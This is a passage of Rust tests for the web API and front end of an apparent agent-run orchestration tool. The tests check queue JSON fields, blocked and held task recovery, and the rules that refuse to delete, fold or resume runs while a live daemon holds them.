22873        state.id = "20260902-100000-c0de".to_owned();
22874        write_state(&runs, &state);
22875
22876        let rev_idle = runs_revision(&runs);
22877        std::thread::sleep(Duration::from_millis(10));
22878        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22879        write_state(&runs, &state);
22880        let rev_started = runs_revision(&runs);
22881        assert_ne!(
22882            rev_idle, rev_started,
22883            "a seat starting must move the revision"
22884        );
22885
22886        std::thread::sleep(Duration::from_millis(10));
22887        state.seat_finished("judge-1");
22888        write_state(&runs, &state);
22889        let rev_finished = runs_revision(&runs);
22890        assert_ne!(
22891            rev_started, rev_finished,
22892            "and clearing it again must move the revision a second time"
22893        );
22894    }
22895
22896    #[tokio::test]
22897    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22898        // `TaskView` flattens `Task`, so this is really asserting that
22899        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22900        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22901        // never touched web.rs, so nothing here caught it if it had.
22902        let fx = Fixture::start().await;
22903        let q = fx.queue();
22904
22905        let mut t = Task::new(
22906            "Task".to_owned(),
22907            "Instruction".to_owned(),
22908            PathBuf::from("/repo"),
22909            Source::Human,
22910        );
22911        t.block(
22912            vec!["20260101-000000-dead".to_owned()],
22913            Some("waiting on Task 1".to_owned()),
22914        );
22915        t.answers.push(crate::queue::AnsweredQuestion {
22916            question: "Which backend?".to_owned(),
22917            answer: "SQLite".to_owned(),
22918        });
22919        q.put(&mut t).expect("put t");
22920
22921        let res = fx.get("/api/queue").await;
22922        assert_eq!(res.status, 200);
22923        let list = res.json();
22924        let view = list
22925            .as_array()
22926            .expect("array")
22927            .iter()
22928            .find(|v| v["id"] == t.id)
22929            .expect("task in list");
22930        assert_eq!(view["status_str"], "blocked");
22931        assert_eq!(
22932            view["blocked_by"],
22933            serde_json::json!(["20260101-000000-dead"])
22934        );
22935        assert_eq!(view["block_reason"], "waiting on Task 1");
22936        assert_eq!(view["answers"][0]["question"], "Which backend?");
22937        assert_eq!(view["answers"][0]["answer"], "SQLite");
22938
22939        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22940        // but never `answers` - that is a settled decision, not state
22941        // describing the current block, so it survives.
22942        let res = fx
22943            .post(&format!("/api/queue/{}/hold", t.short()), None)
22944            .await;
22945        assert_eq!(res.status, 200);
22946        let held = res.json();
22947        assert_eq!(held["status_str"], "held");
22948        assert_eq!(held["blocked_by"], serde_json::json!([]));
22949        assert!(held["block_reason"].is_null());
22950        assert_eq!(held["answers"][0]["answer"], "SQLite");
22951    }
22952
22953    #[tokio::test]
22954    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22955        let fx = Fixture::start().await;
22956        let queue = fx.queue();
22957        let questions = fx.questions();
22958        let mut task = Task::new(
22959            "Disk recovery".into(),
22960            "Inspect".into(),
22961            PathBuf::from("/repo"),
22962            Source::Human,
22963        );
22964        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22965        task.mark_disk_capacity();
22966        queue.put(&mut task).unwrap();
22967        let mut records = Vec::new();
22968        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22969            let mut q = Question::new(
22970                task.id.clone(),
22971                node.into(),
22972                "triage".into(),
22973                "Resume recovery?".into(),
22974                String::new(),
22975                vec![],
22976            );
22977            q.routed_task = Some(task.id.clone());
22978            questions.put(&mut q).unwrap();
22979            records.push(q);
22980        }
22981        let url = format!("/api/queue/{}", task.id);
22982        let view = fx.get(&url).await.json();
22983        assert_eq!(view["status_str"], "held");
22984        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22985        assert!(
22986            view["recovery"]
22987                .as_str()
22988                .unwrap()
22989                .contains("Disk recovery alone will not resume")
22990        );
22991        assert!(
22992            view["recovery"]
22993                .as_str()
22994                .unwrap()
22995                .contains("Disk wait (automatically monitored)")
22996        );
22997        for blocker in view["blockers"].as_array().unwrap() {
22998            assert!(blocker["destination"].is_null());
22999            assert!(
23000                blocker["next"]
23001                    .as_str()
23002                    .unwrap()
23003                    .contains("pending delivery")
23004            );
23005        }
23006        for q in &mut records {
23007            q.routed_chat = Some("owning-chat".into());
23008            questions.put(q).unwrap();
23009        }
23010        let view = fx.get(&url).await.json();
23011        for blocker in view["blockers"].as_array().unwrap() {
23012            assert_eq!(
23013                blocker["destination"],
23014                serde_json::json!(["chat", "owning-chat"])
23015            );
23016            assert_eq!(blocker["resolves_itself"], false);
23017        }
23018        // Answered routed decisions can still be awaiting task-chat application.
23019        for q in &mut records {
23020            q.status = ask::QuestionStatus::Answered;
23021            questions.put(q).unwrap();
23022        }
23023        assert!(crate::triage::pending_for(&questions, &task));
23024        let view = fx.get(&url).await.json();
23025        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23026        assert!(
23027            view["blockers"][0]["next"]
23028                .as_str()
23029                .unwrap()
23030                .contains("not yet applied")
23031        );
23032        for q in &records {
23033            task.mark_triage_applied(&q.id);
23034        }
23035        queue.put(&mut task).unwrap();
23036        assert!(!crate::triage::pending_for(&questions, &task));
23037        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23038        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23039    }
23040
23041    #[test]
23042    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23043        use crate::queue::HoldSource;
23044        let mut task = Task::new(
23045            "Recovery".into(),
23046            "Inspect".into(),
23047            PathBuf::from("/repo"),
23048            Source::Human,
23049        );
23050        assert!(task_recovery(&task).is_none());
23051        task.hold_manual(Some("Operator paused".into()));
23052        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23053        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23054        let text = task_recovery(&task).unwrap();
23055        assert!(text.contains("restores held"));
23056        assert!(text.contains("clears its dependency references"));
23057        task.hold_source = Some(HoldSource::Machine);
23058        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23059        task.mark_disk_capacity();
23060        let view = TaskView::with_inventory(
23061            task.clone(),
23062            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23063        );
23064        let json = serde_json::to_value(view).unwrap();
23065        assert_eq!(json["block_reason"], "Decision needed");
23066        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23067        let recovery = json["recovery"].as_str().unwrap();
23068        assert!(recovery.contains("not current capacity"));
23069        assert!(recovery.contains("triage rechecks"));
23070        assert_eq!(json["blockers"][0]["state"], "missing");
23071        task.blocked_from = Some(TaskStatus::Queued);
23072        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23073        task.blocked_from = None;
23074        assert!(task_recovery(&task).unwrap().contains("restores held"));
23075    }
23076
23077    #[tokio::test]
23078    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23079        let fx = Fixture::start().await;
23080        let q = fx.queue();
23081        let mk = |title: &str| {
23082            Task::new(
23083                title.to_owned(),
23084                "Instruction".to_owned(),
23085                PathBuf::from("/repo"),
23086                Source::Human,
23087            )
23088        };
23089        let mut root = mk("root");
23090        root.hold_manual(Some("waiting".to_owned()));
23091        q.put(&mut root).unwrap();
23092        let mut mid = mk("mid");
23093        mid.block(vec![root.id.clone()], None);
23094        q.put(&mut mid).unwrap();
23095        let mut leaf = mk("leaf");
23096        leaf.block(vec![mid.id.clone()], None);
23097        q.put(&mut leaf).unwrap();
23098
23099        let list = fx.get("/api/queue").await.json();
23100        let find = |id: &str| {
23101            list.as_array()
23102                .unwrap()
23103                .iter()
23104                .find(|v| v["id"] == id)
23105                .unwrap()
23106                .clone()
23107        };
23108        let leaf_view = find(&leaf.id);
23109        assert_eq!(
23110            leaf_view["waits_on"],
23111            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23112        );
23113        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23114        assert_eq!(
23115            find(&mid.id)["waits_on"],
23116            serde_json::json!([format!("{} (held)", root.short())])
23117        );
23118        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23119    }
23120
23121    #[tokio::test]
23122    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23123        let fx = Fixture::start().await;
23124        let q = fx.queue();
23125
23126        // 1. A queued task with runs attached can be deleted.
23127        let mut t1 = Task::new(
23128            "Task 1".to_owned(),
23129            "Instruction 1".to_owned(),
23130            PathBuf::from("/repo"),
23131            Source::Human,
23132        );
23133        let run_id = "20260901-000000-r111";
23134        t1.runs.push(run_id.to_owned());
23135        write_run(&fx.runs(), run_id, RunStatus::Merged);
23136        q.put(&mut t1).expect("put t1");
23137
23138        // Delete by short id
23139        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23140        assert_eq!(res.status, 204);
23141        assert!(res.body.is_empty(), "204 No Content has no body");
23142        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23143        assert!(
23144            fx.runs().join(run_id).exists(),
23145            "run directory must not be deleted when its task is deleted"
23146        );
23147
23148        // 2. A task a live daemon is running is refused with 409.
23149        let mut t2 = Task::new(
23150            "Task 2".to_owned(),
23151            "Instruction 2".to_owned(),
23152            PathBuf::from("/repo"),
23153            Source::Human,
23154        );
23155        t2.status = TaskStatus::Running;
23156        q.put(&mut t2).expect("put t2");
23157        let mut beat = crate::daemon::Status::new();
23158        beat.current = vec![crate::daemon::Current {
23159            worker: None,
23160            task: t2.id.clone(),
23161            run: "20260901-000000-r222".to_owned(),
23162        }];
23163        beat.updated_at = jiff::Timestamp::now();
23164        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23165            .expect("publish a heartbeat");
23166        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23167        assert_eq!(res.status, 409);
23168        assert!(
23169            res.json()["error"]
23170                .as_str()
23171                .unwrap()
23172                .contains("live daemon")
23173        );
23174        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23175
23176        // 3. The same `running` status and an orphaned lock, with no daemon
23177        // behind either, is a leftover and deletable. Before this the phone
23178        // refused it for good: the status never changes on its own and
23179        // nothing drops a lock whose process is gone.
23180        // The daemon is killed: the file stays, the heartbeat stops.
23181        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23182        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23183            .expect("leave a stale heartbeat");
23184        let mut t3 = Task::new(
23185            "Task 3".to_owned(),
23186            "Instruction 3".to_owned(),
23187            PathBuf::from("/repo"),
23188            Source::Human,
23189        );
23190        t3.status = TaskStatus::Running;
23191        q.put(&mut t3).expect("put t3");
23192        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23193        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23194        assert_eq!(res.status, 204);
23195        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23196        assert!(
23197            q.claim(&t3.id).is_ok(),
23198            "the stale lock went with it, so the id is claimable again"
23199        );
23200
23201        // 4. Missing id returns 404
23202        let res = fx.delete("/api/queue/nonexistent").await;
23203        assert_eq!(res.status, 404);
23204    }
23205
23206    #[tokio::test]
23207    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23208        let fx = Fixture::start().await;
23209        let runs = fx.runs();
23210
23211        // 1. Finished and folded run can be deleted along with artifacts
23212        let run_id = "20260901-000000-fold";
23213        let mut state = RunState::new(
23214            PathBuf::from("/repo"),
23215            "main".to_owned(),
23216            "abc".to_owned(),
23217            "instruction".to_owned(),
23218            Config::default(),
23219        );
23220        state.id = run_id.to_owned();
23221        state.status = RunStatus::Merged;
23222        state.candidates.push(crate::run::Candidate {
23223            index: 0,
23224            label: 'A',
23225            agent: "a".to_owned(),
23226            branch: "b".to_owned(),
23227            worktree: PathBuf::from("/w"),
23228            summary: String::new(),
23229            stat: String::new(),
23230            files: 1,
23231            commits: 1,
23232            empty: false,
23233            failed: None,
23234            verified_noop: None,
23235            duration_ms: 0,
23236            folded: true,
23237        });
23238        let dir = runs.join(run_id);
23239        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23240        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23241            .expect("write artifact");
23242        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23243            .expect("write run.json");
23244
23245        // Delete by short id
23246        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23247        assert_eq!(res.status, 204);
23248        assert!(res.body.is_empty(), "204 has no body");
23249        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23250
23251        // 2. A run a live daemon is working on is refused with 409. The
23252        // heartbeat is what makes it refusable: an unfinished run with no
23253        // daemon behind it is a leftover from a killed process, and case 1
23254        // above would otherwise be impossible to tell apart from this one.
23255        let run_running = "20260901-000000-rung";
23256        write_run(&runs, run_running, RunStatus::Prep);
23257        let mut beat = crate::daemon::Status::new();
23258        beat.current = vec![crate::daemon::Current {
23259            worker: None,
23260            task: "20260901-000000-task".to_owned(),
23261            run: run_running.to_owned(),
23262        }];
23263        beat.updated_at = jiff::Timestamp::now();
23264        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23265            .expect("publish a heartbeat");
23266        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23267        assert_eq!(res.status, 409);
23268        assert!(
23269            res.json()["error"]
23270                .as_str()
23271                .unwrap()
23272                .contains("live daemon"),
23273            "the refusal must say who is holding it"
23274        );
23275        assert!(
23276            runs.join(run_running).exists(),
23277            "a run in flight keeps its directory"
23278        );
23279
23280        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23281        let run_unfolded = "20260901-000000-unfd";
23282        let mut state2 = RunState::new(
23283            PathBuf::from("/repo"),
23284            "main".to_owned(),
23285            "abc".to_owned(),
23286            "instruction".to_owned(),
23287            Config::default(),
23288        );
23289        state2.id = run_unfolded.to_owned();
23290        state2.status = RunStatus::Ready;
23291        state2.candidates.push(crate::run::Candidate {
23292            index: 0,
23293            label: 'A',
23294            agent: "a".to_owned(),
23295            branch: "b".to_owned(),
23296            worktree: PathBuf::from("/w"),
23297            summary: String::new(),
23298            stat: String::new(),
23299            files: 1,
23300            commits: 1,
23301            empty: false,
23302            failed: None,
23303            verified_noop: None,
23304            duration_ms: 0,
23305            folded: false,
23306        });
23307        let dir2 = runs.join(run_unfolded);
23308        std::fs::create_dir_all(&dir2).expect("create dir2");
23309        std::fs::write(
23310            dir2.join("run.json"),
23311            serde_json::to_string(&state2).unwrap(),
23312        )
23313        .expect("write run.json");
23314
23315        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23316        assert_eq!(res.status, 409);
23317        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23318        assert!(dir2.exists(), "unfolded run directory is kept");
23319
23320        // 4. Missing id returns 404
23321        let res = fx.delete("/api/runs/nonexistent").await;
23322        assert_eq!(res.status, 404);
23323    }
23324
23325    /// The queue tiles on the Stats tab must render even on a home with no
23326    /// runs at all: queue state is not derived from run history, so hiding
23327    /// the whole dashboard body behind "no runs yet" would drop the one
23328    /// thing this tab promises unconditionally (queued/running/held/done).
23329    /// A DOM-level test would need a browser this suite does not have, so
23330    /// this pins the same invariant textually: `renderStatsQueue` is called
23331    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23332    /// block that gates the run-derived panels.
23333    #[test]
23334    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23335        let start = APP_JS
23336            .find("function renderStats() {")
23337            .expect("renderStats");
23338        let end = start
23339            + APP_JS[start..]
23340                .find("function statsTile(")
23341                .expect("the next top-level function");
23342        let body = &APP_JS[start..end];
23343
23344        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23345        let gate_end = gate_start
23346            + body[gate_start..]
23347                .find("}\n  renderStatsQueue")
23348                .expect("the gate's own closing brace, right before the unconditional call");
23349        let gated = &body[gate_start..gate_end];
23350
23351        assert_eq!(
23352            body.matches("renderStatsQueue(").count(),
23353            1,
23354            "renderStats must call renderStatsQueue exactly once: {body}"
23355        );
23356        assert!(
23357            !gated.contains("renderStatsQueue"),
23358            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23359             run-derived panels on an empty run history - the queue panel has to render \
23360             regardless: {gated}"
23361        );
23362    }
23363
23364    #[test]
23365    fn web_ui_delete_contract_in_front_end() {
23366        // 1. API block has both delete endpoints
23367        assert!(APP_JS.contains("deleteRun:"));
23368        assert!(APP_JS.contains("deleteTask:"));
23369
23370        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23371        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23372            ..APP_JS.find("function renderRuns").unwrap()];
23373        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23374
23375        // 3. Run detail has delete entry and reasons
23376        assert!(APP_JS.contains("renderRunDelete"));
23377        assert!(APP_JS.contains("runDeleteReason"));
23378        assert!(APP_JS.contains("magi fold"));
23379        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23380
23381        // 4. Two-step delete arming and focus on Cancel
23382        assert!(APP_JS.contains("cancel.focus"));
23383        assert!(APP_JS.contains("armedRunDelete"));
23384        assert!(APP_JS.contains("renderTaskDeleteBox"));
23385        assert!(APP_JS.contains("armed${cap(key)}"));
23386
23387        // 5. Running task has disabled delete
23388        assert!(APP_JS.contains("disabled: status === \"running\""));
23389    }
23390
23391    /// Every element a run card's updater reaches for must be in the `refs`
23392    /// the builder handed it.
23393    ///
23394    /// `createRunCard` builds its elements, appends them to the card, and then
23395    /// lists them again in `row.refs`. That second list is the one the updater
23396    /// uses, and nothing connects the two - an element can be built, appended
23397    /// and rendered, and still be missing from `refs`. `superseded` was, for
23398    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23399    /// exception took `syncList` with it, and the deck showed
23400    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23401    /// line is computed before the cards, which is why the failure looked like
23402    /// a server that had lost its runs rather than a front end that had
23403    /// stopped rendering them.
23404    ///
23405    /// A `cargo test` cannot execute the front end, so this reads the two
23406    /// halves out of the source and compares them as sets. It is not a check
23407    /// on the wording of either list: adding an element, renaming one, or
23408    /// reordering them all keeps this passing, and only using one the builder
23409    /// never published fails it.
23410    #[test]
23411    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23412        let build = APP_JS
23413            .find("function createRunCard")
23414            .expect("createRunCard exists");
23415        let update = APP_JS
23416            .find("function updateRunCard")
23417            .expect("updateRunCard exists");
23418        let end = APP_JS
23419            .find("function renderRuns")
23420            .expect("renderRuns exists");
23421
23422        // The builder's published set: the object literal assigned to `refs`.
23423        let builder = &APP_JS[build..update];
23424        let open = builder.find("refs = {").expect("createRunCard sets refs");
23425        let literal = &builder[open + "refs = {".len()..];
23426        let close = literal.find('}').expect("the refs literal is closed");
23427        let published: HashSet<&str> = literal[..close]
23428            .split(',')
23429            // `name` and `name: value` both bind `name`.
23430            .filter_map(|entry| entry.split(':').next())
23431            .map(str::trim)
23432            .filter(|name| !name.is_empty())
23433            .collect();
23434        assert!(
23435            published.len() > 5,
23436            "the refs literal did not parse into names: {published:?}"
23437        );
23438
23439        // What the updaters reach for: every `r.<name>`, where `r` is the
23440        // `const r = row.refs` alias both functions open with.
23441        let mut used: Vec<&str> = Vec::new();
23442        let updaters = &APP_JS[update..end];
23443        for (at, _) in updaters.match_indices("r.") {
23444            // `r` must be the whole identifier, not the tail of another one
23445            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23446            let before = updaters[..at].chars().next_back();
23447            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23448                continue;
23449            }
23450            let rest = &updaters[at + 2..];
23451            let len = rest
23452                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23453                .unwrap_or(rest.len());
23454            if len > 0 {
23455                used.push(&rest[..len]);
23456            }
23457        }
23458        assert!(
23459            used.len() > 5,
23460            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23461        );
23462
23463        let missing: Vec<&str> = used
23464            .iter()
23465            .copied()
23466            .filter(|name| !published.contains(name))
23467            .collect();
23468        assert!(
23469            missing.is_empty(),
23470            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23471             never put in `refs` - every card will throw and the list will \
23472             render empty under a count line that says otherwise. Published: \
23473             {published:?}"
23474        );
23475    }
23476
23477    #[tokio::test]
23478    async fn folding_from_the_phone_reports_what_it_removed() {
23479        let fx = Fixture::start().await;
23480        let runs = fx.runs();
23481
23482        // A run with no candidates has nothing to fold, which is a 200 with an
23483        // honest count rather than an error: the operator asked for the trees
23484        // to be gone and they are.
23485        let id = "20260901-000000-fold";
23486        write_run(&runs, id, RunStatus::Stalled);
23487        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23488        assert_eq!(res.status, 200);
23489        assert_eq!(res.json()["removed_count"], 0);
23490        assert_eq!(res.json()["run"], id);
23491        assert!(
23492            runs.join(id).exists(),
23493            "a fold keeps the run's record; only the worktrees go"
23494        );
23495    }
23496
23497    #[tokio::test]
23498    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23499        let fx = Fixture::start().await;
23500        let runs = fx.runs();
23501        let wt = fx.home.path().join("wt").join("magi").join("dead");
23502        let id = "20260901-000000-dead";
23503        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23504        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23505        std::fs::create_dir_all(&wt).expect("worktree dir");
23506
23507        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23508        assert_eq!(res.status, 200, "{}", res.body);
23509        assert!(
23510            res.json()["removed_count"].as_u64().unwrap() > 0,
23511            "the worktree this build could not read a state for still went"
23512        );
23513        assert!(
23514            !runs.join(id).exists(),
23515            "an unreadable run has no candidate list to fold selectively, so \
23516             the whole record goes - same as `magi fold` on the CLI"
23517        );
23518    }
23519
23520    #[tokio::test]
23521    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23522        let fx = Fixture::start().await;
23523        let runs = fx.runs();
23524        let wt = fx.home.path().join("wt").join("magi").join("gone");
23525        let id = "20260901-000000-gone";
23526        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23527        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23528        std::fs::create_dir_all(&wt).expect("worktree dir");
23529
23530        let res = fx.delete(&format!("/api/runs/{id}")).await;
23531        assert_eq!(res.status, 204, "{}", res.body);
23532        assert!(!runs.join(id).exists(), "the broken record is gone");
23533        assert!(!wt.exists(), "its worktree is gone too");
23534    }
23535
23536    #[tokio::test]
23537    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23538        let fx = Fixture::start().await;
23539        let runs = fx.runs();
23540        let id = "20260901-000000-live";
23541        write_run(&runs, id, RunStatus::Implementing);
23542
23543        let mut beat = crate::daemon::Status::new();
23544        beat.current = vec![crate::daemon::Current {
23545            worker: None,
23546            task: "20260901-000000-task".to_owned(),
23547            run: id.to_owned(),
23548        }];
23549        beat.updated_at = jiff::Timestamp::now();
23550        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23551            .expect("publish a heartbeat");
23552
23553        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23554        assert_eq!(res.status, 409);
23555        assert!(
23556            res.json()["error"]
23557                .as_str()
23558                .unwrap()
23559                .contains("live daemon"),
23560            "folding under a running agent would pull its worktree away"
23561        );
23562    }
23563
23564    #[tokio::test]
23565    async fn fold_merged_requires_a_pr_url() {
23566        let fx = Fixture::start().await;
23567        let runs = fx.runs();
23568        let id = "20260901-000000-nourl";
23569        write_run(&runs, id, RunStatus::Blocked);
23570
23571        let res = fx
23572            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23573            .await;
23574        assert_eq!(res.status, 400, "{}", res.body);
23575
23576        let blank = fx
23577            .post(
23578                &format!("/api/runs/{id}/fold-merged"),
23579                Some(r#"{"pr_url":"   "}"#),
23580            )
23581            .await;
23582        assert_eq!(blank.status, 400, "{}", blank.body);
23583    }
23584
23585    #[tokio::test]
23586    async fn fold_merged_is_404_for_an_unknown_run() {
23587        let fx = Fixture::start().await;
23588        let res = fx
23589            .post(
23590                "/api/runs/nosuchrun/fold-merged",
23591                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23592            )
23593            .await;
23594        assert_eq!(res.status, 404, "{}", res.body);
23595    }
23596
23597    #[tokio::test]
23598    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23599        let fx = Fixture::start().await;
23600        let runs = fx.runs();
23601        let id = "20260901-000000-livemerge";
23602        write_run(&runs, id, RunStatus::Blocked);
23603
23604        let mut beat = crate::daemon::Status::new();
23605        beat.current = vec![crate::daemon::Current {
23606            worker: None,
23607            task: "20260901-000000-task".to_owned(),
23608            run: id.to_owned(),
23609        }];
23610        beat.updated_at = jiff::Timestamp::now();
23611        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23612            .expect("publish a heartbeat");
23613
23614        let res = fx
23615            .post(
23616                &format!("/api/runs/{id}/fold-merged"),
23617                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23618            )
23619            .await;
23620        assert_eq!(res.status, 409, "{}", res.body);
23621        assert!(
23622            res.json()["error"]
23623                .as_str()
23624                .unwrap()
23625                .contains("live daemon"),
23626            "correcting a run's merge underneath a running agent would race \
23627             whatever it is doing to the same `status`/`merge` fields"
23628        );
23629    }
23630
23631    /// A pull request `gh` cannot even ask about (no such remote, no such
23632    /// repository) must never be recorded as a merge on a guess - the same
23633    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23634    /// command line, reached here through the phone route instead.
23635    #[tokio::test]
23636    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23637        let fx = Fixture::start().await;
23638        let runs = fx.runs();
23639        let id = "20260901-000000-unconfirmed";
23640        write_run(&runs, id, RunStatus::Blocked);
23641
23642        let res = fx
23643            .post(
23644                &format!("/api/runs/{id}/fold-merged"),
23645                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23646            )
23647            .await;
23648        assert_eq!(res.status, 400, "{}", res.body);
23649        assert_eq!(
23650            read_run(&runs, id).unwrap().status,
23651            RunStatus::Blocked,
23652            "a pull request that could not be confirmed merged must leave \
23653             the run exactly where it was"
23654        );
23655    }
23656
23657    #[tokio::test]
23658    async fn terminal_runs_cannot_be_resumed() {
23659        let fx = Fixture::start().await;
23660        let runs = fx.runs();
23661
23662        for (status, word) in [
23663            (RunStatus::Merged, "merged"),
23664            (RunStatus::Ready, "ready"),
23665            (RunStatus::Failed, "failed"),
23666        ] {
23667            let id = format!("20260901-000000-{}", &word[..4]);
23668            write_run(&runs, &id, status);
23669            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23670            assert_eq!(res.status, 409, "{word} must not be resumable");
23671        }
23672    }
23673
23674    #[tokio::test]
23675    async fn resume_is_refused_while_the_loop_is_running() {
23676        let fx = Fixture::start().await;
23677        let runs = fx.runs();
23678        let stalled = "20260901-000000-stal";
23679        write_run(&runs, stalled, RunStatus::Stalled);
23680
23681        // The loop is busy with a *different* run, and that is still a
23682        // refusal: a manual resume must never race whatever the loop itself
23683        // is already driving, whether that is one run or several.
23684        let mut beat = crate::daemon::Status::new();
23685        beat.current = vec![crate::daemon::Current {
23686            worker: None,
23687            task: "20260901-000000-task".to_owned(),
23688            run: "20260901-000000-othr".to_owned(),
23689        }];
23690        beat.updated_at = jiff::Timestamp::now();
23691        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23692            .expect("publish a heartbeat");
23693
23694        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23695        assert_eq!(res.status, 409);
23696        let err = res.json()["error"].as_str().unwrap().to_owned();
23697        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23698        assert!(err.contains("stop it first"), "{err}");
23699    }
23700
23701    #[test]
23702    fn a_run_cannot_be_resumed_twice_at_once() {
23703        let home = TempDir::new().expect("temp home");
23704        let ui = Ui::new(
23705            Queue::at(home.path().join("queue")),
23706            Questions::at(home.path().join("questions")),
23707            Talks::at(home.path().join("talks")),
23708            home.path().join("runs"),
23709            home.path().to_path_buf(),
23710            PathBuf::from("/repo"),
23711        )
23712        .with_worktrees_root(home.path().join("wt"));
23713        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23714        let again = ui.begin_resume("20260901-000000-once");
23715        assert!(again.is_err(), "a second tap must not start a second graph");
23716        drop(first);
23717        assert!(
23718            ui.begin_resume("20260901-000000-once").is_ok(),
23719            "and the claim is released when the attempt ends"
23720        );
23721    }
23722
23723    #[test]
23724    fn talk_thinking_tracks_only_its_held_turn_claim() {
23725        let home = TempDir::new().expect("temp home");
23726        let ui = Ui::new(
23727            Queue::at(home.path().join("queue")),
23728            Questions::at(home.path().join("questions")),
23729            Talks::at(home.path().join("talks")),
23730            home.path().join("runs"),
23731            home.path().to_path_buf(),
23732            PathBuf::from("/repo"),
23733        )
23734        .with_worktrees_root(home.path().join("wt"));
23735        let id = "20260901-000000-once";
23736
23737        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23738        let turn = ui.begin_talk_turn(id).expect("claim turn");
23739        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23740        assert!(
23741            !ui.is_thinking("20260901-000000-other"),
23742            "one talk's turn does not make another talk busy"
23743        );
23744        drop(turn);
23745        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23746    }
23747
23748    #[test]
23749    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23750        let home = TempDir::new().expect("temp home");
23751        let talks = Talks::at(home.path().join("talks"));
